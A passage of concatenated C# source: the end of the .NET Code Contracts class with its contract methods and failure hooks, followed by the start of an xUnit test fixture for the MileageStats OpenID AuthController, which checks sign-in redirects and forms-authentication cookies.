Assume #region Assert /// <summary> /// In debug builds, perform a runtime check that <paramref name="condition"/> is true. /// </summary> /// <param name="condition">Expression to check to always be true.</param> [Pure] [Conditional("DEBUG")] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Assert(bool condition) { if (!condition) ReportFailure(ContractFailureKind.Assert, null, null, null); } /// <summary> /// In debug builds, perform a runtime check that <paramref name="condition"/> is true. /// </summary> /// <param name="condition">Expression to check to always be true.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> [Pure] [Conditional("DEBUG")] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Assert(bool condition, String userMessage) { if (!condition) ReportFailure(ContractFailureKind.Assert, userMessage, null, null); } #endregion Assert #region Requires /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> must be true before the enclosing method or property is invoked. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// Use this form when backward compatibility does not force you to throw a particular exception. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Requires(bool condition) { AssertMustUseRewriter(ContractFailureKind.Precondition, "Requires"); } /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> must be true before the enclosing method or property is invoked. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// Use this form when backward compatibility does not force you to throw a particular exception. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Requires(bool condition, String userMessage) { AssertMustUseRewriter(ContractFailureKind.Precondition, "Requires"); } /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> must be true before the enclosing method or property is invoked. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// Use this form when you want to throw a particular exception. /// </remarks> [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "condition")] [SuppressMessage("Microsoft.Design", "CA1004:GenericMethodsShouldProvideTypeParameter")] [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Requires<TException>(bool condition) where TException : Exception { AssertMustUseRewriter(ContractFailureKind.Precondition, "Requires<TException>"); } /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> must be true before the enclosing method or property is invoked. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// Use this form when you want to throw a particular exception. /// </remarks> [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "userMessage")] [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "condition")] [SuppressMessage("Microsoft.Design", "CA1004:GenericMethodsShouldProvideTypeParameter")] [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Requires<TException>(bool condition, String userMessage) where TException : Exception { AssertMustUseRewriter(ContractFailureKind.Precondition, "Requires<TException>"); } #endregion Requires #region Ensures /// <summary> /// Specifies a public contract such that the expression <paramref name="condition"/> will be true when the enclosing method or property returns normally. /// </summary> /// <param name="condition">Boolean expression representing the contract. May include <seealso cref="OldValue"/> and <seealso cref="Result"/>.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this postcondition. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Ensures(bool condition) { AssertMustUseRewriter(ContractFailureKind.Postcondition, "Ensures"); } /// <summary> /// Specifies a public contract such that the expression <paramref name="condition"/> will be true when the enclosing method or property returns normally. /// </summary> /// <param name="condition">Boolean expression representing the contract. May include <seealso cref="OldValue"/> and <seealso cref="Result"/>.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference members at least as visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this postcondition. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Ensures(bool condition, String userMessage) { AssertMustUseRewriter(ContractFailureKind.Postcondition, "Ensures"); } /// <summary> /// Specifies a contract such that if an exception of type <typeparamref name="TException"/> is thrown then the expression <paramref name="condition"/> will be true when the enclosing method or property terminates abnormally. /// </summary> /// <typeparam name="TException">Type of exception related to this postcondition.</typeparam> /// <param name="condition">Boolean expression representing the contract. May include <seealso cref="OldValue"/> and <seealso cref="Result"/>.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference types and members at least as visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this postcondition. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] [SuppressMessage("Microsoft.Design", "CA1004:GenericMethodsShouldProvideTypeParameter", Justification = "Exception type used in tools.")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void EnsuresOnThrow<TException>(bool condition) where TException : Exception { AssertMustUseRewriter(ContractFailureKind.PostconditionOnException, "EnsuresOnThrow"); } /// <summary> /// Specifies a contract such that if an exception of type <typeparamref name="TException"/> is thrown then the expression <paramref name="condition"/> will be true when the enclosing method or property terminates abnormally. /// </summary> /// <typeparam name="TException">Type of exception related to this postcondition.</typeparam> /// <param name="condition">Boolean expression representing the contract. May include <seealso cref="OldValue"/> and <seealso cref="Result"/>.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// This call must happen at the beginning of a method or property before any other code. /// This contract is exposed to clients so must only reference types and members at least as visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this postcondition. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] [SuppressMessage("Microsoft.Design", "CA1004:GenericMethodsShouldProvideTypeParameter", Justification = "Exception type used in tools.")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void EnsuresOnThrow<TException>(bool condition, String userMessage) where TException : Exception { AssertMustUseRewriter(ContractFailureKind.PostconditionOnException, "EnsuresOnThrow"); } #region Old, Result, and Out Parameters /// <summary> /// Represents the result (a.k.a. return value) of a method or property. /// </summary> /// <typeparam name="T">Type of return value of the enclosing method or property.</typeparam> /// <returns>Return value of the enclosing method or property.</returns> /// <remarks> /// This method can only be used within the argument to the <seealso cref="Ensures(bool)"/> contract. /// </remarks> [SuppressMessage("Microsoft.Design", "CA1004:GenericMethodsShouldProvideTypeParameter", Justification = "Not intended to be called at runtime.")] [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static T Result<T>() { return default(T); } /// <summary> /// Represents the final (output) value of an out parameter when returning from a method. /// </summary> /// <typeparam name="T">Type of the out parameter.</typeparam> /// <param name="value">The out parameter.</param> /// <returns>The output value of the out parameter.</returns> /// <remarks> /// This method can only be used within the argument to the <seealso cref="Ensures(bool)"/> contract. /// </remarks> [SuppressMessage("Microsoft.Design", "CA1021:AvoidOutParameters", MessageId = "0#", Justification = "Not intended to be called at runtime.")] [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static T ValueAtReturn<T>(out T value) { value = default(T); return value; } /// <summary> /// Represents the value of <paramref name="value"/> as it was at the start of the method or property. /// </summary> /// <typeparam name="T">Type of <paramref name="value"/>. This can be inferred.</typeparam> /// <param name="value">Value to represent. This must be a field or parameter.</param> /// <returns>Value of <paramref name="value"/> at the start of the method or property.</returns> /// <remarks> /// This method can only be used within the argument to the <seealso cref="Ensures(bool)"/> contract. /// </remarks> [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "value")] [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static T OldValue<T>(T value) { return default(T); } #endregion Old, Result, and Out Parameters #endregion Ensures #region Invariant /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> will be true after every method or property on the enclosing class. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <remarks> /// This contact can only be specified in a dedicated invariant method declared on a class. /// This contract is not exposed to clients so may reference members less visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this invariant. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Invariant(bool condition) { AssertMustUseRewriter(ContractFailureKind.Invariant, "Invariant"); } /// <summary> /// Specifies a contract such that the expression <paramref name="condition"/> will be true after every method or property on the enclosing class. /// </summary> /// <param name="condition">Boolean expression representing the contract.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// This contact can only be specified in a dedicated invariant method declared on a class. /// This contract is not exposed to clients so may reference members less visible as the enclosing method. /// The contract rewriter must be used for runtime enforcement of this invariant. /// </remarks> [Pure] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Invariant(bool condition, String userMessage) { AssertMustUseRewriter(ContractFailureKind.Invariant, "Invariant"); } #endregion Invariant #region Quantifiers #region ForAll /// <summary> /// Returns whether the <paramref name="predicate"/> returns <c>true</c> /// for all integers starting from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1. /// </summary> /// <param name="fromInclusive">First integer to pass to <paramref name="predicate"/>.</param> /// <param name="toExclusive">One greater than the last integer to pass to <paramref name="predicate"/>.</param> /// <param name="predicate">Function that is evaluated from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1.</param> /// <returns><c>true</c> if <paramref name="predicate"/> returns <c>true</c> for all integers /// starting from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1.</returns> /// <seealso cref="System.Collections.Generic.List&lt;T&gt;.TrueForAll"/> [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] // Assumes predicate obeys CER rules. #endif public static bool ForAll(int fromInclusive, int toExclusive, Predicate<int> predicate) { if (fromInclusive > toExclusive) #if INSIDE_CLR throw new ArgumentException(Environment.GetResourceString("Argument_ToExclusiveLessThanFromExclusive")); #else throw new ArgumentException("fromInclusive must be less than or equal to toExclusive."); #endif if (predicate == null) throw new ArgumentNullException("predicate"); Contract.EndContractBlock(); for (int i = fromInclusive; i < toExclusive; i++) if (!predicate(i)) return false; return true; } /// <summary> /// Returns whether the <paramref name="predicate"/> returns <c>true</c> /// for all elements in the <paramref name="collection"/>. /// </summary> /// <param name="collection">The collection from which elements will be drawn from to pass to <paramref name="predicate"/>.</param> /// <param name="predicate">Function that is evaluated on elements from <paramref name="collection"/>.</param> /// <returns><c>true</c> if and only if <paramref name="predicate"/> returns <c>true</c> for all elements in /// <paramref name="collection"/>.</returns> /// <seealso cref="System.Collections.Generic.List&lt;T&gt;.TrueForAll"/> [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] // Assumes predicate & collection enumerator obey CER rules. #endif public static bool ForAll<T>(IEnumerable<T> collection, Predicate<T> predicate) { if (collection == null) throw new ArgumentNullException("collection"); if (predicate == null) throw new ArgumentNullException("predicate"); Contract.EndContractBlock(); foreach (T t in collection) if (!predicate(t)) return false; return true; } #endregion ForAll #region Exists /// <summary> /// Returns whether the <paramref name="predicate"/> returns <c>true</c> /// for any integer starting from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1. /// </summary> /// <param name="fromInclusive">First integer to pass to <paramref name="predicate"/>.</param> /// <param name="toExclusive">One greater than the last integer to pass to <paramref name="predicate"/>.</param> /// <param name="predicate">Function that is evaluated from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1.</param> /// <returns><c>true</c> if <paramref name="predicate"/> returns <c>true</c> for any integer /// starting from <paramref name="fromInclusive"/> to <paramref name="toExclusive"/> - 1.</returns> /// <seealso cref="System.Collections.Generic.List&lt;T&gt;.Exists"/> [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] // Assumes predicate obeys CER rules. #endif public static bool Exists(int fromInclusive, int toExclusive, Predicate<int> predicate) { if (fromInclusive > toExclusive) #if INSIDE_CLR throw new ArgumentException(Environment.GetResourceString("Argument_ToExclusiveLessThanFromExclusive")); #else throw new ArgumentException("fromInclusive must be less than or equal to toExclusive."); #endif if (predicate == null) throw new ArgumentNullException("predicate"); Contract.EndContractBlock(); for (int i = fromInclusive; i < toExclusive; i++) if (predicate(i)) return true; return false; } /// <summary> /// Returns whether the <paramref name="predicate"/> returns <c>true</c> /// for any element in the <paramref name="collection"/>. /// </summary> /// <param name="collection">The collection from which elements will be drawn from to pass to <paramref name="predicate"/>.</param> /// <param name="predicate">Function that is evaluated on elements from <paramref name="collection"/>.</param> /// <returns><c>true</c> if and only if <paramref name="predicate"/> returns <c>true</c> for an element in /// <paramref name="collection"/>.</returns> /// <seealso cref="System.Collections.Generic.List&lt;T&gt;.Exists"/> [Pure] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] // Assumes predicate & collection enumerator obey CER rules. #endif public static bool Exists<T>(IEnumerable<T> collection, Predicate<T> predicate) { if (collection == null) throw new ArgumentNullException("collection"); if (predicate == null) throw new ArgumentNullException("predicate"); Contract.EndContractBlock(); foreach (T t in collection) if (predicate(t)) return true; return false; } #endregion Exists #endregion Quantifiers #region Pointers #if FEATURE_UNSAFE_CONTRACTS /// <summary> /// Runtime checking for pointer bounds is not currently feasible. Thus, at runtime, we just return /// a very long extent for each pointer that is writable. As long as assertions are of the form /// WritableBytes(ptr) >= ..., the runtime assertions will not fail. /// The runtime value is 2^64 - 1 or 2^32 - 1. /// </summary> [SuppressMessage("Microsoft.Performance", "CA1802", Justification = "FxCop is confused")] static readonly ulong MaxWritableExtent = (UIntPtr.Size == 4) ? UInt32.MaxValue : UInt64.MaxValue; /// <summary> /// Allows specifying a writable extent for a UIntPtr, similar to SAL's writable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes writable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static ulong WritableBytes(UIntPtr startAddress) { return MaxWritableExtent - startAddress.ToUInt64(); } /// <summary> /// Allows specifying a writable extent for a UIntPtr, similar to SAL's writable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes writable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static ulong WritableBytes(IntPtr startAddress) { return MaxWritableExtent - (ulong)startAddress; } /// <summary> /// Allows specifying a writable extent for a UIntPtr, similar to SAL's writable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes writable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] [SecurityCritical] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif unsafe public static ulong WritableBytes(void* startAddress) { return MaxWritableExtent - (ulong)startAddress; } /// <summary> /// Allows specifying a readable extent for a UIntPtr, similar to SAL's readable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes readable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static ulong ReadableBytes(UIntPtr startAddress) { return MaxWritableExtent - startAddress.ToUInt64(); } /// <summary> /// Allows specifying a readable extent for a UIntPtr, similar to SAL's readable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes readable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static ulong ReadableBytes(IntPtr startAddress) { return MaxWritableExtent - (ulong)startAddress; } /// <summary> /// Allows specifying a readable extent for a UIntPtr, similar to SAL's readable extent. /// NOTE: this is for static checking only. No useful runtime code can be generated for this /// at the moment. /// </summary> /// <param name="startAddress">Start of memory region</param> /// <returns>The result is the number of bytes readable starting at <paramref name="startAddress"/></returns> [CLSCompliant(false)] [Pure] [ContractRuntimeIgnored] [SecurityCritical] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif unsafe public static ulong ReadableBytes(void* startAddress) { return MaxWritableExtent - (ulong)startAddress; } #endif // FEATURE_UNSAFE_CONTRACTS #endregion #region Misc. /// <summary> /// Marker to indicate the end of the contract section of a method. /// </summary> [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static void EndContractBlock() { } #endregion #endregion User Methods #region Failure Behavior /// <summary> /// Without contract rewriting, failing Assert/Assumes end up calling this method. /// Code going through the contract rewriter never calls this method. Instead, the rewriter produced failures call /// System.Runtime.CompilerServices.ContractHelper.RaiseContractFailedEvent, followed by /// System.Runtime.CompilerServices.ContractHelper.TriggerFailure. /// </summary> static partial void ReportFailure(ContractFailureKind failureKind, String userMessage, String conditionText, Exception innerException); /// <summary> /// This method is used internally to trigger a failure indicating to the "programmer" that he is using the interface incorrectly. /// It is NEVER used to indicate failure of actual contracts at runtime. /// </summary> static partial void AssertMustUseRewriter(ContractFailureKind kind, String contractKind); #endregion } public enum ContractFailureKind { Precondition, [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Postcondition")] Postcondition, [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Postcondition")] PostconditionOnException, Invariant, Assert, Assume, } } // Note: In .NET FX 4.5, we duplicated the ContractHelper class in the System.Runtime.CompilerServices // namespace to remove an ugly wart of a namespace from the Windows 8 profile. But we still need the // old locations left around, so we can support rewritten .NET FX 4.0 libraries. Consider removing // these from our reference assembly in a future version. namespace System.Diagnostics.Contracts.Internal { [Obsolete("Use the ContractHelper class in the System.Runtime.CompilerServices namespace instead.")] public static class ContractHelper { #region Rewriter Failure Hooks /// <summary> /// Rewriter will call this method on a contract failure to allow listeners to be notified. /// The method should not perform any failure (assert/throw) itself. /// </summary> /// <returns>null if the event was handled and should not trigger a failure. /// Otherwise, returns the localized failure message</returns> [SuppressMessage("Microsoft.Design", "CA1030:UseEventsWhereAppropriate")] [System.Diagnostics.DebuggerNonUserCode] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static string RaiseContractFailedEvent(ContractFailureKind failureKind, String userMessage, String conditionText, Exception innerException) { return System.Runtime.CompilerServices.ContractHelper.RaiseContractFailedEvent(failureKind, userMessage, conditionText, innerException); } /// <summary> /// Rewriter calls this method to get the default failure behavior. /// </summary> [System.Diagnostics.DebuggerNonUserCode] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static void TriggerFailure(ContractFailureKind kind, String displayMessage, String userMessage, String conditionText, Exception innerException) { System.Runtime.CompilerServices.ContractHelper.TriggerFailure(kind, displayMessage, userMessage, conditionText, innerException); } #endregion Rewriter Failure Hooks } } // namespace System.Diagnostics.Contracts.Internal namespace System.Runtime.CompilerServices { public static partial class ContractHelper { #region Rewriter Failure Hooks /// <summary> /// Rewriter will call this method on a contract failure to allow listeners to be notified. /// The method should not perform any failure (assert/throw) itself. /// </summary> /// <returns>null if the event was handled and should not trigger a failure. /// Otherwise, returns the localized failure message</returns> [SuppressMessage("Microsoft.Design", "CA1030:UseEventsWhereAppropriate")] [System.Diagnostics.DebuggerNonUserCode] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static string RaiseContractFailedEvent(ContractFailureKind failureKind, String userMessage, String conditionText, Exception innerException) { var resultFailureMessage = "Contract failed"; // default in case implementation does not assign anything. RaiseContractFailedEventImplementation(failureKind, userMessage, conditionText, innerException, ref resultFailureMessage); return resultFailureMessage; } /// <summary> /// Rewriter calls this method to get the default failure behavior. /// </summary> [System.Diagnostics.DebuggerNonUserCode] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] #endif public static void TriggerFailure(ContractFailureKind kind, String displayMessage, String userMessage, String conditionText, Exception innerException) { TriggerFailureImplementation(kind, displayMessage, userMessage, conditionText, innerException); } #endregion Rewriter Failure Hooks #region Implementation Stubs /// <summary> /// Rewriter will call this method on a contract failure to allow listeners to be notified. /// The method should not perform any failure (assert/throw) itself. /// This method has 3 functions: /// 1. Call any contract hooks (such as listeners to Contract failed events) /// 2. Determine if the listeneres deem the failure as handled (then resultFailureMessage should be set to null) /// 3. Produce a localized resultFailureMessage used in advertising the failure subsequently. /// </summary> /// <param name="resultFailureMessage">Should really be out (or the return value), but partial methods are not flexible enough. /// On exit: null if the event was handled and should not trigger a failure. /// Otherwise, returns the localized failure message</param> static partial void RaiseContractFailedEventImplementation(ContractFailureKind failureKind, String userMessage, String conditionText, Exception innerException, ref string resultFailureMessage); /// <summary> /// Implements the default failure behavior of the platform. Under the BCL, it triggers an Assert box. /// </summary> static partial void TriggerFailureImplementation(ContractFailureKind kind, String displayMessage, String userMessage, String conditionText, Exception innerException); #endregion Implementation Stubs } } // namespace System.Runtime.CompilerServices
/* Copyright Microsoft Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT. See the Apache 2 License for the specific language governing permissions and limitations under the License. */ using System; using System.Web; using System.Web.Mvc; using System.Web.Routing; using System.Web.Security; using DotNetOpenAuth.OpenId.Extensions.AttributeExchange; using DotNetOpenAuth.OpenId.RelyingParty; using MileageStats.Domain.Contracts; using MileageStats.Domain.Models; using MileageStats.Web.Authentication; using MileageStats.Web.Controllers; using MileageStats.Web.Tests.Mocks; using Moq; using Xunit; using MileageStats.Domain.Handlers; namespace MileageStats.Web.Tests.Controllers { public class AuthControllerFixture { [Fact] public void WhenSigningInWithoutSpecifyingProviderUrl_ThenRedirectsToOpenProvidedAction() { var relyingPartyMock = new Mock<IOpenIdRelyingParty>(); relyingPartyMock .Setup(x => x.RedirectToProvider(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<FetchRequest>())) .Throws(new Exception("Relying party expects a url, a null or empty string will raise an exception.")); TestableAuthController authController = GetTestableAuthController(relyingPartyMock.Object); var result = authController.SignInWithProvider(null) as RedirectToRouteResult; Assert.NotNull(result); Assert.Equal("Index", result.RouteValues["action"]); } [Fact] public void WhenSigningIn_ThenRedirectsToOpenProvidedAction() { string providerUrl = @"http://ssomeauthcontroller.com"; TestableAuthController authController = GetTestableAuthController(OpenIdRelyingPartyBuilder.DefaultParty().Object); ActionResult response = authController.SignInWithProvider(providerUrl); // For the test we ensure that controller responsds with whatever the OpenIdRelyingParty facade returns. Assert.IsType(typeof (RedirectResult), response); } [Fact] public void WhenSigningIn_ThenSetsReturnUrlToCorrectSchema() { string providerUrl = @"http://ssomeauthcontroller.com"; var relyingPartyMock = new Mock<IOpenIdRelyingParty>(); TestableAuthController authController = GetTestableAuthController(relyingPartyMock.Object); Mock<HttpRequestBase> requestMock = Mock.Get(authController.Request); requestMock.SetupGet(r => r.Url) .Returns(new Uri(@"https://nothingmattersbutschema.com", UriKind.Absolute)); ActionResult response = authController.SignInWithProvider(providerUrl); relyingPartyMock.Verify(x => x.RedirectToProvider( It.IsAny<string>(), It.Is<string>(s => s.StartsWith("https:")), It.IsAny<FetchRequest>()), "Incorrect schema applied for return URL."); } [Fact] public void WhenUserAuthenticatedAndRegistered_ThenRedirectsToHomeIndex() { var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(u => u.Execute(It.IsAny<string>())).Returns( new User()); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder.DefaultParty().Object, new Mock<IFormsAuthentication>().Object, createUser.Object, getUser.Object ); ActionResult response = authController.SignInResponse(); Assert.IsType(typeof (RedirectToRouteResult), response); var route = ((RedirectToRouteResult) response).RouteValues; Assert.Equal("Dashboard", route["controller"]); Assert.Equal("Index", route["action"]); } [Fact] public void WhenProviderRespondsAuthenticated_ThenSetsFormsAuthCookie() { const string claimIdentifier = @"http://username/"; var formsAuthMock = new Mock<IFormsAuthentication>(); var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(u => u.Execute(It.IsAny<string>())).Returns( new User()); formsAuthMock.Setup(f => f.SetAuthCookie(It.IsAny<HttpContextBase>(), It.IsAny<FormsAuthenticationTicket>())) .Verifiable(); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder .DefaultParty() .ReturnsClaimId(claimIdentifier) .Object, formsAuthMock.Object, createUser.Object, getUser.Object, @"http://providerUrl.com"); ActionResult response = authController.SignInResponse(); formsAuthMock.Verify(); } [Fact] public void WhenProviderRespondsAuthenticated_ThenSetsFormsAuthCookieNameToClaimIdentifier() { const string claimIdentifier = @"http://username/"; const string friendlyName = "FriendlyName"; var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(ur => ur.Execute(It.IsAny<string>())) .Returns(new User { DisplayName = friendlyName, AuthorizationId = claimIdentifier }) .Verifiable(); var formsAuthMock = new Mock<IFormsAuthentication>(); formsAuthMock.Setup( f => f.SetAuthCookie(It.IsAny<HttpContextBase>(), It.Is<FormsAuthenticationTicket>(t => t.Name == claimIdentifier))).Verifiable(); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder .DefaultParty() .ReturnsClaimId(claimIdentifier) .ReturnFriendlyName(friendlyName) .Object, formsAuthMock.Object, createUser.Object, getUser.Object, @"http://providerUrl.com"); ActionResult response = authController.SignInResponse(); formsAuthMock.Verify(); } [Fact] public void WhenProviderRespondsAuthenticated_ThenSerializesAdditionalUserInfoInUserData() { const string claimIdentifier = @"http://username/"; FormsAuthenticationTicket ticket = null; var formsAuthMock = new Mock<IFormsAuthentication>(); formsAuthMock.Setup(f => f.SetAuthCookie(It.IsAny<HttpContextBase>(), It.IsAny<FormsAuthenticationTicket>())) .Callback<HttpContextBase, FormsAuthenticationTicket>((h, t) => ticket = t); var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(x => x.Execute(It.Is<string>(u => u == claimIdentifier))) .Returns(new User { AuthorizationId = claimIdentifier, DisplayName = "TestDisplayName", UserId = 55, }); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder .DefaultParty() .ReturnsClaimId(claimIdentifier) .Object, formsAuthMock.Object, createUser.Object, getUser.Object, @"http://providerUrl.com"); ActionResult response = authController.SignInResponse(); // Assert UserInfo userInfo = UserInfo.FromString(ticket.UserData); Assert.NotNull(userInfo); } [Fact] public void 